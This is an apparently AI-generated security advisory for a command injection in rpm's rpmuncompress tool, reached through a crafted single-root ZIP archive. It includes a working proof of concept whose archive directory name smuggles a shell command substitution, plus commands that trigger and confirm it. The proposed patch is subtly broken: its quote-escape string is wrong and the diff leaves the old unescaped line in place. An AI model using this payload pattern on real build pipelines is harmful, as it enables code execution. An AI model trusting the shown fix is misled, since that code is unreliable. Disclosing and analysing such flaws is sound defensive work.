AI_ONLY_REPORT package: rpm-6.0.1-5.1.hum1 ------ Summary: Command Injection in rpmuncompress via malicious archive content: in the `-x -C` extraction path for single-root extractable archives, `doUntar()` inserts an archive-derived top-level directory name into a `popen()` shell command without escaping embedded single quotes, allowing arbitrary shell execution when a malicious archive is processed. Requirements to exploit: The attacker must supply a malicious single-root archive whose top-level directory name contains an embedded single quote and have a user or build workflow process it through the `rpmuncompress -x -C` extraction path. This vulnerable branch is narrower than general archive handling: it covers ZIP and other extractable formats that use the same path, such as 7z and GEM, while common tar/default extraction paths are not affected. RPM source-preparation workflows using `%setup/%autosetup -C` can reach this path. Component affected: github.com/rpm-software-management/rpm - `tools/rpmuncompress.cc` (`rpmuncompress` `doUntar()` / `singleRoot()` path) Version affected: Confirmed in rpm-6.0.1-5.1.hum1 (upstream 6.0.1); likely affects other versions containing the same `singleRoot()` + `moveup` + `popen()` construction in `doUntar()`, but the exact introduction point is unknown. Patch available: Proposed fix included in this report (see `Proposed Fix`); upstream release status unknown. Version fixed (if any already): unknown Upstream coordination: Not yet notified. This report is the initial triage. CVSS: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - 7.8 (HIGH) AV:L - The attacker provides a malicious archive that is processed locally. AC:L - Exploitation requires only a crafted top-level directory name containing a single quote and reaching the `-x -C` extraction path; no race or special environment is required. PR:N - No prior privileges on the target system are required beyond delivering the archive. UI:R - A user or automated build workflow must process the archive. S:U - Code execution occurs within the same RPM extraction/build security scope. C:H - Successful injection can read data available to the extraction/build context. I:H - Successful injection can execute arbitrary shell commands and modify files or build outputs in that context. A:H - Successful injection can disrupt or destroy the build workspace or build process. Impact: Important. Although the reachable branch is narrower than all archive extraction, successful exploitation gives deterministic arbitrary shell execution in the permissions of the build or extraction user from attacker-controlled archive metadata. Because `%setup/%autosetup -C` can invoke this path, the issue affects real RPM source-preparation workflows rather than only a niche manual helper. Embargo: no Reason: This is a local-file processing issue with clear prerequisites and straightforward mitigations. Exploitation requires an attacker-controlled archive to be processed through a specific workflow rather than exposing a broad unauthenticated remote attack surface, and common tar/default extraction paths are not affected. Acknowledgement: Aisle Research Steps to reproduce: 1. Create a ZIP archive with a single top-level directory name containing a single quote and a shell payload: ```bash python3 - <<'PY' import zipfile name = "evil'$(touch /tmp/rpmuncompress_poc)'" with zipfile.ZipFile("/tmp/poc.zip", "w") as z: z.writestr(f"{name}/README.txt", "x") PY ``` 2. Trigger the vulnerable extraction path: ```bash mkdir -p /tmp/out rpmuncompress -x -C /tmp/out /tmp/poc.zip ``` 3. Verify command execution: ```bash test -f /tmp/rpmuncompress_poc && echo "INJECTED" ``` 4. Optional non-destructive confirmation: ```bash rpmuncompress -n -x -C /tmp/out /tmp/poc.zip ``` This prints the generated shell command and shows the unescaped `sr` interpolation. Mitigation: Treat source archives as trusted-code inputs in build and CI pipelines. Do not process untrusted archives through `rpmuncompress -x -C`, including workflows that expand to `%setup/%autosetup -C`. Prefer extraction paths that do not use this vulnerable branch until a fix is available; common tar/default extraction paths are not affected by this specific issue. Long term, avoid shell composition for file moves. If a short-term fix is needed, escape embedded single quotes in `sr` before interpolating it into shell-quoted strings. Vulnerability Details In `tools/rpmuncompress.cc`, `singleRoot()` reads the archive top-level directory name (`sr`) from archive metadata, and `doUntar()` interpolates it into a shell string that is executed with `popen()`: ```cpp char * sr = singleRoot(fn); ... rasprintf( &moveup, " && " "(shopt -s dotglob; mv \"$tmp\"/'%s'/* '%s') && " "rmdir \"$tmp\"/'%s' \"$tmp\" ", sr, dstpath, sr); ... inp = popen(cmd, "r"); ``` Because `sr` is inserted inside single quotes without escaping embedded `'`, a crafted root directory name can break quoting and execute shell syntax. Reachability constraints: Requires `rpmuncompress -x -C ...` Requires `singleRoot(fn)` to return non-NULL, meaning a single top-level directory archive Affects extractable formats using this branch, such as ZIP, 7z, and GEM Common tar/default extraction paths are not this vulnerable branch Relevant CWEs: `CWE-78` (OS Command Injection) `CWE-88` (Argument Injection) Proposed Fix A minimal hardening patch is to escape `sr` for single-quoted shell context before interpolation: ```diff — a/tools/rpmuncompress.cc +++ b/tools/rpmuncompress.cc @@ +static char *shSingleQuoteEscape(const char *s) +{ + size_t extra = 0; + for (const char *p = s; *p; p++) + if (*p == '\'') + extra += 3; /* '\'' replaces 1 char with 4 */ + char *out = (char *)xmalloc(strlen(s) + extra + 1); + char *o = out; + for (const char *p = s; *p; p++) { + if (*p == '\'') { + memcpy(o, "' ''", 4); + o += 4; + } else { + *o++ = *p; + } + } + *o = '\0'; + return out; +} @@ rasprintf( + char *sr_esc = shSingleQuoteEscape(sr); + rasprintf( &moveup, " && " "(shopt -s dotglob; mv \"$tmp\"/'%s'/* '%s') && " "rmdir \"$tmp\"/'%s' \"$tmp\" ", sr, dstpath, sr); + "rmdir \"$tmp\"/'%s' \"$tmp\" ", sr_esc, dstpath, sr_esc); + free(sr_esc); ``` Preferred long-term fix: avoid shell composition for file moves and use filesystem APIs directly. ------ This report was generated using AI technology. Always review AI-generated content prior to use